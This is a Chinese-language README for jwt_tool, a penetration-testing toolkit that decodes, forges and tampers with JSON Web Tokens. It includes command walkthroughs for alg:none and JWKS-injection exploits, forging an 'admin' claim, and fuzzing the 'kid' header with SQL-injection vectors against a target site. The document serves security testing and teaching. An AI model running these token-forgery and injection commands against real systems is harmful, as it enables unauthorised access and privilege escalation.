jwt_tool.py 是一个用于验证、伪造、扫描和篡改 JWT(JSON Web Token)的工具包。

其功能包括:
本工具专为渗透测试人员编写,他们需要检查所使用令牌的强度及其对已知攻击的敏感性。工具提供了多种篡改、签名和验证选项,帮助深入探究某些 JWT 库中存在的潜在弱点。
它同样对CTF 挑战者非常有用——因为目前的 CTF 似乎对 JWT 情有独钟。
对于那些在项目中使用 JWT,并希望在使用伪造令牌时测试稳定性和已知漏洞的开发人员来说,它也很有用。
本工具使用常用库原生编写,基于 Python 3(3.6+ 版本),但各种加密功能(以及整体美观性/可读性)确实需要安装一些常见的 Python 库。
(旧版分支提供了适用于需要者的 Python 2.x 旧版本,但该版本不再受支持或更新)
使用 jwt_tool 的首选方式是使用托管在 Dockerhub 的官方 jwt_tool docker 镜像
运行它的基本命令如下:
运行 jwt_tool 的基本命令:
docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
使用上述命令后,你可以像平常一样附加任何其他参数。
请注意,当前工作目录中的本地文件将被映射到 docker 容器的 /tmp 目录,因此你可以使用该绝对路径在参数中引用它们。
例如:
/tmp/localfile.txt
安装只需下载 jwt_tool.py 文件(或 git clone 仓库)。
(如果你想将其添加到你的 $PATH 并从任何位置调用,还需要 chmod 该文件。)
$ git clone https://github.com/ticarpi/jwt_tool
$ python3 -m pip install -r requirements.txt
首次运行时,该工具将生成一个配置文件、一些实用文件、日志文件,以及一套各种格式的公钥和私钥。
jwtconf.ini 中。要修复 Windows cmd/Powershell 中损坏的颜色:请取消注释 jwt_tool.py 中的以下两行(删除每行开头的 "# ")
你还需要安装 colorama:python3 -m pip install colorama
# import colorama
# colorama.init()
第一个参数应为 JWT 本身(除非在 header 或 cookie 值中提供)。不提供其他参数将显示解码后的令牌值供查看。
$ python3 jwt_tool.py <JWT>
或使用 Docker 基本命令:
$ docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
该工具包将验证令牌并列出 header 和 payload 的值。
许多附加参数会直接将你带到相应功能,并返回一个可用于测试的令牌。
例如,要篡改现有令牌,请运行以下命令:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -T
许多选项需要附加值来设置选项。
例如,要运行特定类型的漏洞利用,你需要选择 eXploit(-X)选项并选择漏洞(此处使用 "a" 表示 alg:none 漏洞利用):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a
某些选项(例如验证令牌)需要提供额外的参数/文件(此处以 PEM 格式提供公钥):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -V -pk public.pem
所有模式现在都允许将令牌直接发送到应用程序。
你需要指定:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M er将显示请求的各种响应:
以下是对 JWT 实现进行基本评估的快速演练。如果这些选项没有成功,请深入研究其他模式和选项,以寻找新的漏洞(或零日漏洞!)。
读取令牌值,以了解应用程序中预期的声明/值:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
使用提供的令牌直接对应用程序运行 Playbook 扫描,以寻找常见错误配置:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
如果发现任何成功的漏洞,请更改相关声明以尝试利用它(此处使用 Inject JWKS 漏洞利用并注入新用户名):
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
通过测试意外值和声明来深入挖掘,识别意外应用行为,或对编程逻辑或令牌处理发起攻击:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
通过查询日志来回顾任何成功的漏洞利用,以读取有关请求及...的更多数据:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
要获取选项列表,请调用 usage 函数:有些选项(如验证令牌)需要提供额外的参数/文件:
$ python3 jwt_tool.py -h
更详细的用户指南可在wiki 页面找到。

前往 JWT 攻击 Playbook 详细了解什么是 JWT、它们的作用,以及如何全面测试其漏洞、常见弱点和意外编码错误的完整工作流程。
在 Burp Search 中查找 JWT 的正则表达式
(确保勾选 '区分大小写' 和 '正则表达式' 选项)
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* - url 安全 JWT 版本
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* - 所有 JWT 版本(误报可能性更高)
JWT 攻击 Playbook (https://github.com/ticarpi/jwt_tool/wiki)——全面的 JWT 测试方法论
本工具的许多初始灵感来自 Tim McLean 发现的漏洞。
在此查看他关于 JWT 弱点的博客:https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
Pentesterlab (https://www.pentesterlab.com) 提供了大量用于测试 JWT 漏洞的练习。如果你对 Web 应用渗透测试感兴趣,我强烈推荐 PRO 订阅。
请注意: 如果正确使用,本工具包将在几秒钟内解决大多数 Pentesterlab JWT 练习,但我强烈鼓励你自己完成这些练习,找出结构和弱点。毕竟,学习才是最重要的……